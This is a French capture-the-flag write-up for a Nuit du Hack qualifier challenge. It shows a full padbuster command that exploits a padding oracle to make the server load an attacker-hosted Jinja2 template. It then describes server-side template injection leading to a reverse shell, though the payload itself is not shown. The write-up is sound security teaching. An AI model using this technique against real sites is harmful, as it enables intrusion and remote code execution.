/ ndh2k17

Nuit du Hack XV Qualifications - MarkIsFaillingDownDrunk (Crypto/Web 250)

Description

Mark fell down drunk when he began to develop this program. Help him to recover from his hangover.
(This exploitation is tagged cryptography and web.)

Points

250

Category

Cryptography

Url

http://markisfaillingdowndrunk.quals.nuitduhack.com/

Le site web parait peut développé à première vue avec seulement des pages statiques. En regardant les liens proposés on remarque qu'elles sont encodées en hexa notamment grâce au début (deadbeefcafedeadbeefcafe).
Nous pensons alors à du Padding Oracle et padbuster le confirme rapidement.
On lance le script et toutes les urls sortent :
alt

https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md
https://raw.githubusercontent.com/sysdream/sf2-profiler-exploit/master/README.md
https://gitlab.com/gitlab-org/gitlab-ce/raw/master/README.md
https://raw.githubusercontent.com/dlitz/pycrypto/master/README

En regardant de plus près la première url on retrouve le code source qui est interpreté :

# Welcome to MarkParser !

## This is a simple Markdown test.

Test for dynamic rendering :
[{{ config['WEBSITE_NAME'] }}](/)

Nous remarquons l'utilisation de templating, de plus ce code est bien chargé par le serveur. Nous créons alors la même page sur notre vps.
Nous utilisons padbuster pour chiffrer notre propre url.

padbuster "http://markisfaillingdowndrunk.quals.nuitduhack.com/view/deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba" "deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba" 16 -encoding 1 -plaintext "http://xxx.xxx.xxx.xxx/readme"

On obtiens alors le ciphertext et on peut aller requêter notre site http://markisfaillingdowndrunk.quals.nuitduhack.com/view/ciphertext

Le templating est confirmé grâce à une SSTI sur du Jinja2.
La subtilité était d'entourer le payload par une balise <code>
Le payload complet est donc le suivant :
alt

Une fois executé par le serveur on obtient un reverse shell.
Il ne reste plus qu'à récupérer le flag.